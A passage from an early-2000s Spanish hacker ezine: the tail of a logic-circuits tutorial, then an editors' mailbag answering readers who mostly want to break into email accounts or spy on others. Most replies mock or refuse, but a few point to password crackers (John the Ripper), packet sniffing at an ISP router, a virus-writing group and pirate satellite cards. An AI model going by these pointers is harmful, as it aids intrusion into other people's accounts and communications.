podriamos hacer lo siguiente: __ AB / _______ / A----------| \ / __ | |*--------AB B----------|_______/ - Numeros binarios y variables logicas Empieza la "fiesta" ;))). Como sabeis la utilidad especial del sistema de numeracion binario en relacion con el algebra de las variables logicas proviene del hecho de que las variables logicas tienen solo dos valores y el sistema binario dos digitos. Si tenemos que implementar circuitos logicos es posible que tengamos muy claro cual es la tabla de verdad asociada, es decir cual es el resultado final a partir de los valores de entrada. En estos casos deberemos conseguir, a partir de la tabla, deducir cual es la expresion logica que define esa tabla de verdad, para que de esta manera seamos capaces de dibujar el circuito digital correspondiente. Por ejemplo para que lo entendais mejor pondre una tabla que puede ser perfectamente el comportamiento de un pequeño sistema. A B C Z=f(A,B,C) 0 0 0 0 0 0 1 0 0 1 0 0 0 1 1 1 1 0 0 1 1 0 1 1 0 1 1 1 1 0 0 1 1 0 1 1 1 1 1 1 Con esta "tabla de verdad" podemos sacar o mas bien deducir la expresion logica Z = f(A,B,C) = A + BC. Con esta tabla de la verdad estariamos asociado al siguiente circuito. __________ | \ B----------| \ | |--------------| ___________ C----------| / | \ \ |__________/ |_________\ \_____________ A + BC A _________________________/ / /__________/ Con todo esto que os he estado explicando podeis ir entendiendo un poco el funcionamiento de lo que se venia a tratar en esta seccion; el como gracias a una tira de numeros (0-1) es posible tener una circuiteria perfecta. WhEkeP 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x12 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ NetSearch Mail/INBOX ]-================================================== =-[ por NetSearch ]-========================================================= Bueno, por fin podemos estrenar esta seccion :). Hemos recibido unos 70 mails desde NS #5, y para que nos quejeis, aqui los teneis todos contestados. Para este numero el encargado de contestar los mails ha sido cafo, para el siguiente ya se vera [cafo, q dices? :)]. Si quereis que vuestros mails aparezcan aqui respondidos solo teneis que mandarlos a la siguiente direccion: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla . Os recuerdo que no se contestara ningun mail directamente (salvo excepciones), sino que sus respuestas se plasmaran en este apartado del Ezine. Si alguna persona ve su mensaje aqui respondido y se siente ofendido, lo sentimos.. hay que tener un poco de sentido del humor :). Un saludo. -==- MAILS -==- _-_-_-__-_-_-_ Hola Yo como muchos mas quiero ser hacker y no se donde pueda a aprender lenguaje de programacion nose si ustedes me pueda mandar un curso por e-mail tengo 14 años y soy inexperto completamente [ Formas de aprender lenguajes de programacion hay a patadas. Vete a Altavista y pon "tutoriales de C" ] _-_-_-__-_-_-_ HOLA LES ESCRIBO PUES TENGO UNA DUDA UN HACKER PUEDE ABRIR CORREOS Y SI ES POSIBLE POR MEDIO DE QUE O COMO LO HAGO YA QUE ME LLAMA LA ATENCION SER HACKER PERO NO TENGO NI LA MAS REMOTA IDEA DE ELLO. ADIOS [ Pues la mayoria de los hackers "profesionales" que conozco usan el pine para abrir correos. Yo personalmente me inclino por los interfaces graficos del Becky Internet Mail o el Outlook 2000 SR2 ] _-_-_-__-_-_-_ me gustaria saber si conocer un craker para claves para subseven para el puñeto 27374 desde ya muchas gracias Deo [ Mmmh, asi de bote pronto se me ocurre algo como connect(SocketFD, (SA *)&DestAddr, SIN_LEN); for(i1=0;i1<256;i1++){ for(i2=0;i2<256;i2++){ for(i3=0;i3<256;i3++){ for(i4=0;i4<256;i4++){ send(SocketFD,strcat(i1,i2+i3+i4), 4,0);}}}} claro que habria pulirlo un poco, usando las funciones como vienen en las man y esas cosas. ] _-_-_-__-_-_-_ Hola , me gustaria saber si hay algun programa para " ver o espiar" las con versaciones de otras personas en el ICQ le agradeceria una respuesta a mi peticion Gracias Roberto [ Pues la mayoria de los hackers "profesionales" que conozco, usan el propio icq para ver lo que dice la gente. Supongo que sera mejor que les preguntes a ellos por la tecnica megahax0r que utilizan ] _-_-_-__-_-_-_ somos tres estudiantes de sistemas y en nuestra escuela el profe de la catedra seminario de actualizacion nos solicta estudiar sobre seguridad en internet y para efectos de demostracion tenemos que analizar las vulnerabilidades de la red de nuestra escuela. Quisieramos que alguien de su categoria nos asesorara o nos orientara por donde comenzar, la verdad que para nosotros es nueva esta area, y quisieramos ademas de aprender sobre el tema, sobre todo SUPERAR LA MATERIA... Les agradecemos su pronta respuesta. Hasta pronto. Edgar sonia olga [ Por experiencia propia, se que las redes de las escuelas no son ni mucho menos seguras. Recomiendo la lectura de la guia de hackers de cmeinel. http://www.happyhacker.com ] _-_-_-__-_-_-_ hola ! necesito imagenes extrañas en movimiento ( generadas por errores y-o baja tecnologia) para un proyecto de net art , la idea que yo tenia era malograr los codigos de un juego para que al momento de jugarlo se vea todo mal , con ruido , pixeles , manchas, etc alguien me puede ayudar?? saben como hacer eso? adios y gracias siggmus pd. si tienen otras ideas de como generar errores o imagenes raras en movimiento avisenme [ Esteeee... que??? La verdad es que prefiero no mojarme en esto. Haciendo caso a mi sentido del buen gusto, tampoco voy a comentar ciertas sugerencias que un sujeto del staff propuso para ayudarte, porque aunque las latas de pintura son faciles de conseguir, los dos monos en celo que hacen falta para el experimento ya son algo mas complicados. ] _-_-_-__-_-_-_ hola: yo les queria hacer una pregunta, como hago para conseguir el login de una cuenta de mail? hotmail, yahoo las conocidas o las que sea. desde ya muchas gracias [ Cuando me surgio ese problema, lo que hice fue irme a la pagina raiz de sus servidores y probar a darle a un boton grandote que pone "New user Sign In". ] _-_-_-__-_-_-_ Soy muy aficionado a internet, no se absolutamente nada de hackear, me interesaria saber como obtener la direccion de mail de una persona de la cual solo tengo el numero telefonico desde la cual se conecta. Es muy importante para mi poder encontrar dicho mail, no para hackear ni nada parecido. Muchas gracias y espero algun dia aprender. [ Si no es para hackear, por que no le llamas a ese numero de telefono que conoces y se la preguntas? ] _-_-_-__-_-_-_ Hola chicos, os enviamos este email desde Inglaterra, y nos gustaria saber si teneis alguna noticia de la posibilidad de hacer tarjetas piratas para el canal satelite digital Ingles "SKY", si asi es os agradeceriamos que nos lo comentase. Muchos saludos desde las islas. [ Pues si no recuerdo mal la red SKY utiliza los satelites Astra con el sistema de codificacion Videocrypt (no estoy seguro, hace tiempo que no toco el tema). Si es asi, no hay ningun problema porque el Videocrypt hace tiempo que se rompio. Busca algun link actualizado para la informacion sobre como construir tarjetillas ] _-_-_-__-_-_-_ Hola a todos! Bueno os escribo este mail principalmente para agradeceros el articulo publicado en el n#5 de este e-zine Reflexiones sobre los MIG y especialmente al autor ;), y por la ayuda moral, animos, llamadas y sobre todo pedir disculpas a aquellos que ultimamente estaban inquietos por culpa de este bache ;) y bueno ya sabeis os quiero!! ;) y por lo tanto solo me queda felicitar al grupo por el estupendo trabajo que se esta realizando con el e-zine y el canal desde aqui envio un fuerte abrazo a todos. [ :*** A mandar muchacho. Aqui siempre estamos en contra de las injusticias y sobre todo contra las que nos afectan ;). Ya sabes que si necesitas algo, seguimos aqui. ] _-_-_-__-_-_-_ Hola soy Alex un chaval de 15 años, me interesaria saber donde puedo encontrar una pagina web donde explique como ser un hacker desde novato, porque solo se un poquitin y me gustaria ser un hacker profesional, como lo eres tu supongo? Te lo agredeceria mucho! GRACIAS!! [ La profesionalidad implica el cobro de cierta retribucion por una actividad realizada. En mi caso, esta condicion no se cumple, asi que supongo que soy un hacker amateur. Supongo que lo que buscaras son los redbooks de ibm http://www.redbooks.ibm.com o los capitulos del Guide to harmless hackers de http://www.happyhacker.com. ] _-_-_-__-_-_-_ Hola a todos los miembros del team,mando este mail para proponeros,que en proximos numeros podeis incluir un doc sobre seguridad en sistemas UNIX,divididos en 2 o 3 partes, eso ya es cosa del editor ;), tratando temas como la eleccion de buenas contrase~as, permisos de ficheros,bits suid activados.. etc, weno solo era eso, un saludo a todos xD. [ Pues la verdad es que no es un tema que de mucho juego. Te lo puedo hacer en un par de lineas: contraseñas: de 8 letras (20 si se usa md5) de caracteres alfanumericos, minusculas y mayusculas. permisos: Todo lo ejecutable a 700 y todo lo no ejecutable a 600, y ahi no entra ni dios (bueno, dios si, pero porque hace trampa) bits suids: cuantos menos mejor. find / -perm 4000 -exec chmod -S '{}' ';' etc: aqui se puede incluir lo que sea, como poner todos los usuarios en el /etc/ftpusers y demas tonterias. Cada sistema es un mundo. ] _-_-_-__-_-_-_ Hola, es que me di cuenta que hay alguien dando un curso de Lenguaje C, y yo estaba en esos planes tambien...entonces quiero saber si puedo escribir un curso de lenguaje C algo basico, e ir avanzando... Tienen un buen ezine, los felicito, tambien a Raise por lo de las shellcode s, no estoy muy avanzado (quien lo esta? jeje) bueno no digo mas, espero su respuesta. Saludos de Colombia Knox [ Otro curso de C seria excesivo. Creo que en este numero tenemos la continuacion del anterior. La verdad es que creo que algunos (yo incluido) agradecerian cursos sobre lenguajes menos conocidos, como Perl, Awk, Phyton etc. ] _-_-_-__-_-_-_ Hola Yo como muchos mas quiero ser hacker y no se donde pueda a aprender lenguaje de programacion nose si ustedes me pueda mandar un curso por e-mail tengo 14 años y soy inexperto completamente [ Otra vez? se ha duplicado? sera un virus? Misterios insondables de la informatica ] _-_-_-__-_-_-_ hola como estan soy un novato en esto pero pongo mi enpeño en esto quisiera saber como entrar al, sistema de un amigo que parecer saber hacerlo el cual siempre logra entrar a mi sistema cuando nos comunicamos por el internet o el chat quisiera saber hacerlo por favor. [ Que mejor enseñanzas que las que te pueda dar un "amigo"? El te puede explicar mejor que nadie lo que hace para entrar en tu sistema. Si lo que quieres es sorprenderle, instalate linux, cierra todos los puertos de /etc/inetd.conf y tientale a volver a hacerlo. ] _-_-_-__-_-_-_ yo tengo una pregunta segun lo que vi de esta pagina es una pagina para hackers y yo tengo una peticion que si me podian enseñar a hacer lo que hacen los hackers o si saben de alguien que sepa gracias atte: julio (mexico) [ Que hacen los hackers? Pues basicamente vemos la tele de madrugada, faltamos mas de lo que deberiamos a clase, comemos mas comida basura de la que aconseja la OMS y nos puedes reconocer por la calle por el numero de rubias imponentes que nos rodean. Poco mas se puede decir de nuestras aficiones ] _-_-_-__-_-_-_ Hello, soy de Argentina , y entre a su pagina y realmetne me gusto el diseño , bien echo Sp4rk , les mandaba este mail , por otro tema , no se como empezar a estudiar sobre computacion , ya hice cursos de mantenimiento y reparacion de cps pero no me ayuda, me fije en la red y no encuentro nada , busque ayuda con un grupo ingles llamado Lopht , pero esta en ingles (ojo se ingles) pero no me voy a poner a leer todo , en cambio en castellano si , mi problema es , de donde saco informaicon , quiero aprender a programar , a defenderme , a ser parte de la red , ojo , no quiero ser un Hacker, la palabra , se fue deformando el hacker no es el qe se mete en las pcs ajenas sino que creo programas , software ,harware , y mantiene a pleno sus conocimietnos, pero hoy en dia ser un hacker es malo , para la gente que no entiende no?. Bueno desde aqui los saludo con mucha admiracion , y aprecio. ADIOS , atte.: DaRk_NEt [ Pues para avivar la polemica, yo pienso que un hacker es el que entra en un sistema. Para el que hace programas ya tenemos "programador", para el que hace hardware ya tenemos "ingeniero" y para el que mantiene a pleno sus conocimientos ya tenemos "empollon". No veo porque hacer una cosa o que te llamen de una forma es malo. L0pth es un buen grupo, te aconsejo que te leas sus articulos, si los comprendes sabras mucho mas que la mayoria. Lo mismo puede decirse de www.phrack.com. En castellano, simplemente vete a nuestra page de links, y siguelos. Hay bastante como para no aburrirse. ] _-_-_-__-_-_-_ Hola gente netsearch,a decir verdad no se mucho d hackers ni d computacion, pero me gustaria aprender,solo quisiera saber q requisitos tendria q tener alguien para entrar en el mundo del Hackeo,ojala respondan. [ Mens sana in corpore repleto de comida basura. Creo que hay hackers que hasta hacen alpinismo, pero son una especie rara y que segun creo vienen de otro planeta. ] _-_-_-__-_-_-_ Les presento mis saludos y los felicito por el sitio. Necesito vuestra ayuda para lo siguiente: necesito accesar el sistema informatico de una entidad bancaria, para obtener cierta informacion. No se como hacerlo. Si me ayudan, en caso de ser necesario retribuire de la manera que corresponda. O bien, me indiquen donde puedo acudir. AYUDENME, PLEASE. [ Esteeee... supongo que sabras que eso es ilegal, no? De todas formas si lo que quieres es acceder a una informacion tuya, el banco esta obligado por ley a dartela. ] _-_-_-__-_-_-_ Hola soy de la Patagonia, casi cayendo del mapa de argentina, apenas me considero un operador de pc, y me gustaria aprender como decifrar los password de mail, o alguna direccion de donde poder estudiar este tema. PD: Independencia a la Republica Patagonica. El nono [ los password de mail son los mismos que los passwords de cuentas, asi que pillate el John The Ripper o el Crack y dejalo toda la noche. ] _-_-_-__-_-_-_ Hola ? en primer lugar felicitaros por la pagina pues creo que a los que empezamos en este mundillo nos va a venir de perlas....... tengo una pregunta para haceros, y de ese modo solucionar un problema que tengo, vereis: hace unos dias una persona accedio a su cuenta de correo con Hotmail desde mi portatil.......mal hecho por su parte.....y estoy interesado si mi ordenador guarda en algun lado la contraseña de acceso como copia. Me gustaria tambien saber si se puede configurar para que cualquiera que acceda a su cuenta de correos a traves de mi portatil, quede grabado tanto el login como la contraseña. Tambien queria pediros que me remitieseis enlaces con paginas en las que existan tutoriales en castellano de Hacking. Solo me resta daros las gracias por anticipado. Saludos. R@mses [ Lo que un navegador guarda de las paginas visitadas es una cache de las paginas visitadas, no las contraseñas. Un ordenador se puede configurar para lo que quieras, aunque supongo que lo que buscas es un keylogger. ] _-_-_-__-_-_-_ Hola: Me acuerdo cuando visite vuestra antigua pagina por primera vez: que pasada una pagina que habla del craking, y que hasta yo puedo entender, despues repentinamente os perdi la pista, pero por fin vuelvo a encontraros. Recuerdo que teniais varias secciones como fraude al sistema de correos, instrucciones de los programas que ofreciais etc.. Yo baje unos cuantos programas, y un craker se me colo dentro y los virus que tenia tan bien guardados en mi unidad c: el graciosillo los ejecuto. No es solo eso, el chat que tanto frecuentaba, se ha adueñado de mi nick y me ha cambiado la contraseña, gracias a mi primo (que no sabe mucho, pero comparado conmigo es un Dios informatico) formatee mi pc, pero el problema es que me gustaria conseguir la clave de mi nick, y ya que estamos de todas las cuentas de e.mail que tenia desperdigadas por la red se que hay programas para ello y me han pasado un par de revelador de paswords entre ellos el releaver y no furula. podiais ayudarme,pasarme o recomendarme un programa que me devolviese mi contraseña de todo lo que me quito (nicks, correo) si puede ser que sea muy facil de usar porque ademas de estar empanado no se mucho de estas cosas. Os estaria muy agradecido. Gracias P.D: me la consigais o no teneis una pagina de puta madre y muy makeada (que conste que no es peloteo) [ Creo que a lo mejor te confundes con la pagina de #hacker_novatos. Que yo recuerde nunca hemos tenido esas secciones en la de NetSearch Ezine, mas que nada porque la pagina siempre se ha planteado como una forma de publicar el ezine, no como una pagina actualizada "dia a dia". Con respecto a lo del nick, la cosa esta muy mal, porque los administradores de las redes de chat no se hacen responsables de lo que pase con los nicks. Es responsabilidad de los usuarios proteger claves y demas. ] _-_-_-__-_-_-_ Soy BIEN novato y quiero sacar de correo el passward como se puede hacer, ya probe con FTP. Te pido un consejo con que programa y como hago, bien explicado por favor. Desde ya muchisimas gracias Pablo Andres [ de correo el passward sacar se puede el programa de correo abriendo y la configuracion mirando y en un papel apuntando. ] _-_-_-__-_-_-_ hola me podeis decir donde podria bajar el windows 3.1 en castellano Gracias por contestarme a la direccion siguiente Adios [ Ni idea. ] _-_-_-__-_-_-_ hola amigos los molesto por lo siguiente: yo mucho no se de estas cosas, pero me gustaria entrar al mail de otra persona. no se la contraseña, y mi pregunta es la siguiente: hay algun programa para adivinar la contraseña de un mail, y cual es? sin molestarlos mas y con la esperanza de que me puedan ayudar los saludo muy atentamente yo MARCELO. P.D. GRACIAS!!!!!!!!!!! [ Esteeee.... pues no.] _-_-_-__-_-_-_ necesito hacer mierda la PC de un hijo de puta, como puedo hacer para hacer lo mierda????? necesito asesoramiento gracias Sergio [ Pues para hacer mierda cualquier PC es suficiente con coger un buen martillo pilon y liarte a mamporrazos con la puta torre. Si el hijo de puta es un tio chungo de cuidado, puedes hacerte con un puto martillo neumatico y liarte con la puta torre de la cpu, hasta q no haga nada mas que click. ] _-_-_-__-_-_-_ ME PRESTARON UN CD DE NORTON SISTEM WORKS 2001, EL CUAL QUIERO COPIAR, ES LA SEGUNDA VES QUE LO INTENTO Y NO SE DEJA QUEMAR NI COPIAR, SI SE DEJA INSTALAR, PERO NO SE DEJA COPIAR. LO PROBE CON NERO 5.X Y CON CLONCD, NECESITO LOS TIPS PARA PODER HACER MI COPIA. muchas gracias, y espero sus comentarios [ Mmmmh; cp -R /mnt/cdrom/* /tmp/norton; xcdroast & ] _-_-_-__-_-_-_ hola, necesito su ayuda, no se mucho de computadoras, pero me han dicho que los crackers y hacker pueden conseguir los paswords con algunos programas, o incluso mas informacion, mi problema es que hay alguien que me esta escribiendo e mails amenazandome a mi o a mis familiares y quisiera saber si ustedes pueden ayudarme a saber quien es esa persona porque la verdad me siento desesperada pues a parte me dice que es personas que la verdad no creo y ya me estoy enfadando de estar con la incertidumbre. espero que puedan ayudarme o que me puedan guiar de como puedo saber algo de esta persona. a sus ordenes y dandoles las gracias desde ya eliz [ Amenazar la a una persona es algo ilegal. Denuncialo a la policia, que ellos si saben (y lo pueden hacer legalmente) encontrar al amenazador. ] _-_-_-__-_-_-_ Hola, antes de empezar quiero que tomen en cuenta esto. Se que hay muchas personas preguntando estupideces sobre como ser un hacker, como crackear etc., y es muy molesto ver que hay personas preguntando estupideces solo por que se quieren divertir un rato, o quieren hacer daño en la red, o que se yo que coño se les ocurra. Lo cierto es que muy pocos toman este campo en serio, y solo algunos sacrifican tiempo y dinero para aprender de verdad a ser un hacker. No quiero pedirles que me enseñen trucos (a menos que uds. lo crean necesario) ni tampoco hacerles perder el tiempo en largas teorias. Solo quiero algunas respuestas, a lo mejor y mis preguntas son estupidas, pero para mi son verdaderas dudas. 1) Se puede tener Linux en el computador Junto con Windows? Que puedo Hacer? 2) Que programas son escenciales para aprender a programar y hackear (nota: soy absolutamente nuevo en el campo de la computacion, en pocas palabras no se mas que prender el computador, instalar juegos, jugar y navegar en internet).? 3) Recomiendan Uds. algun texto o curso, o conocen a alguien que este dispuesto a asesorarme? (Soy de Venezuela, aqui no hay muchos hackers; bueno eso creo). Por favor, en realidad me llama la atencion todo lo referente a la computacion, lamentablemente no habia investigado antes pero nunca es tarde para aprender. Estoy dispuesto a trabajar muy duro, de hecho estos ultimos dias me he estado comiendo textos en ingles y español y voy a seguir haciendolo , y aunque he visto que los mejores hackers han sido autodidactas, por lo menos necesito un empujon en cosas basicas. Todavia estoy en bachillerato y los cursos de computacion aqui son muy pendejos, pero si tuviera la oportunidad me dedicaria a aprender lo que fuera. Bueno, ya basta de hablar, se que tienen cosas mas importantes que leer mails, asi que los dejo. Por favor, tomenlo en cuenta. Gracias. Respondan lo mas pronto que puedan. CHAO! [ 1. Si, yo lo tengo. Leete la ayuda de cualquier distribucion para ello. 2. gcc para programar, gdb para abrir programas, bash para todo lo demas. 3. Apuntate a la lista bugtraq, kernel-dev y cualquiera con cierto nivel tecnico. En pocos meses sabras mas que la mayoria. Autodidactas? Vamos por dios, ya me gustaria a mi conocer a alguien que haya programado un modulo del nucleo o un exploit sin haber mirado una man o un howto. Simplemente hay que leer todo lo que cae en sus manos. ] _-_-_-__-_-_-_ hola :quisera saber como puedo hacer para saber la contraseña de una direccion de mail en hotmail si se puede ok si no ok tambien Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla [ BUCLE: ] [ Me niego a responder lo mismo mas veces. ] _-_-_-__-_-_-_ Necesitaria que por favor me digan como hago para saber una contraseña de hotmail de una persona. Por favor envienme una respuesta lo antes posible, es urgente de vida o muerte, necesito saber esa contraseña. Desde ya muchas gracias candela [ JMP BUCLE ] _-_-_-__-_-_-_ Hola: Se que es muy pretencioso de mi parte pero tengo una gran necesidad de interceptar una direccion de correo electronico. Si eres tu la persona en este mundo que me pueda ayudar. por favor hazlo. Gracias de antemano. [ Lo mas facil es presentar una solicitud de empleo a tu compañia ISP y prosperar hasta que te hagan responsable del router, una vez alli, pones la tarjeta de red en modo promiscuo e instalas un sniffer. Todo tuyo. ] _-_-_-__-_-_-_ Como estan espero que bien. escibo este mail para pedir si me pueden enviar los nuemros anterios 1,2,3 o decirme como lo puedo conseguir............ bueno gracias.. [ Si estas leyendo esto, simplemente mira un par de links mas arriba. (http://www.netsearch-ezine.com | http://netsearch.page.to) ] _-_-_-__-_-_-_ Hola ... Soy un chico Chileno interesado en lo Under y con muchas ganas de participar en un grupo... saben hace tiempo que me gustaria aprender mas... les pido que me ayuden, para que esto kresca.... y seamos muchos.... siempre e pensado que los que saben mas deben enseñar a los que saben menos, para que sigan apareciendo cosas nuevas... ok thank you por leerme.. Chauzz [zKreT [ No creo que sea necesario que seamos muchos, mas bien al contrario, cuanta mas conciencia de secta tengamos, mas seremos apreciados por el mundo empresarial, que al fin y al cabo es lo que todos buscamos. ] _-_-_-__-_-_-_ TENGO EL AGRADO DE ESCRIBIRLES PARA PEDIRLES ALGUN TIPO DE INFORMACION SOBRE EL CELULAR SAMSUNG SCH 3500, YA QUE NO PUEDO ENCONTRAR NADA PARA HACER FUNCIONAR UN PARCITO QUE TENGO... DESDE YA MUCHAS GRACIAS..... [ Personalmente ni idea... ] _-_-_-__-_-_-_ Saludos... Su pagina esta chida.. Oigan ya instale la aplicacion de distributed.net pero como funciona?, ya use la ayuda que trae pero no vale @!!@ Dispongo de 8 maquinas que promedian 400Mhz y trabajan 10 horas al dia de las cuales como 3-4 horas se estan sin hacer nada ...... pienso que serian de gran ayuda Sinceramente les agradeceria que me ayudaran y asi unirme a su grupo mi direccion de correo es: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla sin mas gracias por su atencion [ Las paginas de ayuda de distributed.net son completisimas, con unas FAQs bastante completas. Cualquier cosa que te podamos contar aqui, ya esta contestado, y mejor, alli. A ver si entre todos se saca la dichosa clave. ] _-_-_-__-_-_-_ hola muchachos como andan. les escrivo porque preciso virus nuevos y direcciones de paginas donde pueda bajarlos.bueno muchas gracias. [ http://www.coderz.net/29a/ Posiblemente, el mejor grupo de virii del mundo. Y no es peloteo porque tengamos una entrevista con Wintermute ;) ] _-_-_-__-_-_-_ Que tal soy nomoke Les cuanto que tengo un club de mas de 300 personas que nos reunimos para debatir e intercambiar informacion referida a lo que nosotros nos gusta. si quieren visiten mi pagina http://nomoke.iespana.es espero respuesta chau gracias NoMoke .......... [ Bueno, si por lo menos viera la pregunta... ] _-_-_-__-_-_-_ hola me gustaria tener informacion sobre hackers por ejemplo: a que se dedican? algunos tips? como ser un hackers? [ A comer bollicaos. tips tips tips. No puedes, no lo intentes o te echaremos. ] _-_-_-__-_-_-_ hola necesito que me ayuden, necesito ingresar en una cuenta de correo cuya clave no se, es por una cuestion muy personal... creo que mi novia me metio los cuernos... si hay que pagar algun precio diganme cuanto y como gracias [ Cambia de novia. JNZ LOOP ] _-_-_-__-_-_-_ Gostariamos de manter um contato de parceria com vcs. Somo da www.invasao.com.br e trabalhamos divulgando noticias sobre Hackers. Estamos oferecendo uma troca de links. Aguardamos Diogenes S. Leo Fuctur@ Informatica www.invasao.com.br 81 3221-9116 3221-9124 [ Pues ya sabeis, los que domineis el brasileiro, ya podeis ir visitando la pagina de este grupo. ] _-_-_-__-_-_-_ Hola, mi amigo y yo recurrimos a vosotros para ver si podeis ayudarnos o decirnos si hay algun sitio donde conseguir ayuda, os contamos el problema: desde el otro dia a mi amigo le llama al movil una chica le insulta y le manda mensajes amenazandole de muerte, todo podria ser una broma pero ha dado muchos datos sobre el y su coche en los mensajes y el numero de su movil solo lo conocemos una docena de personas y ninguna somos quien llama, los mensajes los manda por internet, pero el otro dia no se debio de dar cuenta y cuando llamo aparecio su numero de movil, empieza por 653, los mensajes los firma con el nick de xxxx. Se que no se podra hacer mucho pero si se os ocurre algo os lo agradeceriamos, MUCHAS GRACIAS por haberos molestado en perder el tiempo leyendo este mensaje y por la informacion que podais facilitarnos. Repetimos muchas gracias. [ Lo mismo que unos cuantos mensajes mas arriba. Si algo se pone demasiado serio para ser una broma, denunciadlo a la policia. Tambien existe (depende del modelo de telefono) la posibilidad de bloquear las llamadas entrantes de ese numero. ] _-_-_-__-_-_-_ Hola Ayuda desesperante!!!!! Como hago para entrar a otra computadora? y como hago para entrar a un hotmail si no se la clave?. Me pueden ayudarrrrrrrrrrrrrrrrrr!!!!!!! escaso de vida o muerte. Estoy a su disposicion si necesitan algo mio. Por favos espero respuesta Maru [ OM MANI PADMA HUM ] [ OM MANI PADMA HUM ] [ OM MANI PADMA HUM ] [ OM MANI PADMA HUM ] _-_-_-__-_-_-_ que tal amigos, soy argentino y queria hacerle una pregunta a gente que sabe de este tema. necesito poder entrar a el mail de mi ex novia para enterarme de un par de cositas que calculo que me hizo y despues poder vengarme de ella y lo que queria saber es si hay algun programa que se pueda bajar para poder crackear los password de yahho o de hotmail. L a pagina es excelente un saludo grande, de un admirador argentino. [ La vengaza se disfruta mejor en frio. Casate con otra, ten hijos y dentro de 2 años descubrele el pastel. ] _-_-_-__-_-_-_ mi nombre es juan carlos y quisiera conocer un poco mas sobre el tema: [ Me parece estupendo. Que tema? ] _-_-_-__-_-_-_ Tengo un problema, necesito usar una fotocopiadora digital SHARP AR-162n como impresora pero los drivers me los venden en casi US0.00 y no me quieren dar ninguna copia pirata, sabes donde puedo encontrar esos controladores? [ Ni idea. ] _-_-_-__-_-_-_ Hola muchachos como estan, quisiera pedirles un gran favor, necesito informacion sobre seguridad en los sistemas operativos, como rompen teoricamente la barrera de suguridad de los s.o., esperando respuesta para un trabajo en el instituto del ramo de Sistemas Operativos, ya que voy en tercer año de ingenieria. desde ya gracias [ http://www.kriptopolis.com/cys.html ] _-_-_-__-_-_-_ quisiera consultar con fines educativos y de conocimiento que tipos de programas se pueden usar para decodificar claves de seguridad y si esto es posible realizarse con direcciones de correo e-mail. [ GOTO BUCLE; ] _-_-_-__-_-_-_ ME CONTACTO CON UDS. PARA PREGUNTARLES SI CONOCEN ALGUN CURSO DE HACKERS, PARA INTRODUCIRME EN EL TEMA E IR METIENDOME EN EL TEMA. DESDE YA LES AGRADEZCO Y ME PUEDEN CONTESTAR EN Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla . GRACIAS, FERNANDO [ http://www.happyhacker.com ] _-_-_-__-_-_-_ Hola amigos, mi nombre es Ezequiel y les escribo desde Miami. Les voy a hacer una pregunta un tanto comprometedora pero ambiciosa, bueno el mundo es de los audaces, verdad?? yo se que es muy dificil poder hacerlo o encontrarlo: la pregunta es: como puedo hacer para entrar a los sistemas del servicio de inmigracion y naturalizacion de los estados unidos. Lo unico que se, que el metodo es hacking, pero la gran pregunta es, como?. Amigos esto no es comun que alguien se los pregunte pero estoy supero interesado!!. La definicion que yo le podria dar a este metodo es: ir mas alla de la pagina web de lo que quieres hackear. Ante todo gracias. Y espero su gran ansiada respuesta. [ Supongo que sabes q lo que dices es ilegal, no? Y por si no lo sabes, esta revista la leen en el FBI... Yo de ti me estaria desconectado unos meses. ] _-_-_-__-_-_-_ Saludos compañer@s: Somos una pequeña radio libre que queremos entrar en la red emitiendo en directo por ella. Deseariamos que nos mandeis algo de informacion de como hacerlo, tambien, si fuera posible, decirnos programas para crear nuestro propio chat en la pagina, solo conocemos el SiteSticky 4.0 y no nos parece bueno para lo que queremos. Sin nada mas y en espera de vuestra contestacion me despido en nombre de la gente que hacemos radio, un saludo de Jabba. [ Para lo de la radio, existe el formato RAM, o simplemente mandando un stream de datos continuo hacia el navegador que lo solicite. La solucion para poner un chat en la pagina pasa por poner un servidor de irc en el ordenador y un applet de java que se comunique con el. ] _-_-_-__-_-_-_ ya se que no se suele pedir ayuda para estas cosas, pero lo cierto es que me bajado unos cuantos programas para intentar entrar en paginas que ofrecen cursos pagando pelas, cosa que yo sin curro no tengo. por eso me gustaria saber como puedo entrar en sitios como http://www.vibrationdata.com/tutorials.htm para poder aprender algo y que contraten en alguna empresa de una vez. si no puedes ayudarme, lo entendere, pero alguna pistilla..... gracias por soportar el rollete. [ No, no se puede. Es una empresa que vende eso, asi que hay que respetarlo. Por otra parte, nada de lo que veo en la pagina es "privado". Vete a cualquier biblioteca y estudia por tu cuenta, siempre es mas rentable. ] _-_-_-__-_-_-_ Hola amigos ando investigando del subseven, no se si pudieran informarme que cosa es y para que sirve, resulta que un "amigo" me lo envio y me da como si fuera virus aunque no lo es yo lo se, pero estoy muy preocupada porque siento que mi compu se va a deshacer, porfavor contestenme donde puedo encontrar informacion en español. Gracias y aunque sea mandenme un saludito. Chau un beso Mary [ El subseven es un troyano para poder controlar tu ordenador a distancia. Y si digo controlar, es controlar completamente sin que tu te des cuenta. Si todavia no lo has ejecutado, no lo hagas y borra el programa. Si ya lo has hecho, recuerda que la curiosidad mato al gato para la proxima vez y visita: http://members.tripod.com/seguridadeninternet/subseven-remocion.html (una de las muchas paginas con informacion de como desinstalarlo). ] _-_-_-__-_-_-_ HOLA SOY NOVATO PERO QUIERO SABER PROTEGER MIS CD, PARA QUE NO ME LOS COPIEN SON MIOS Y NADA MAS. QUIERO UN NOMBRE DE PROGRAMA Y COMO USARLO. GRACIAS SALUDA ATTE. DIEGO [ Estas no son formas... En fin. while(!feof(FILEIN)) { c=fgetc(); c=c ^ 5; } y para descifrar, ejecutas otra vez. ] _-_-_-__-_-_-_ quiero aprender soy novato y quiero ser experto con fines educativos para seguridad de mi pc constantemente atacado. Indicame como. gracias [ The only secure pc is the disconnected one. ] _-_-_-__-_-_-_ hola que tal me llamo rogelio valencia pacheco soy de mexico y quisiera ser parte de los miembros de esta pagina y como puedo entender lo que estan tratando aqui notengo mucha experiencia en esto y si me pueden ayudar si me puedes mandar un mail de confirmacion te lo agradeceria [ De verdad? no creo que sea de verdad... Tu te lo has planteado en serio? piensa que aqui somos un poco raros... algunos de nosotros hasta hacen deporte... no creo que quieras juntarte con gente asi... creo que dentro del 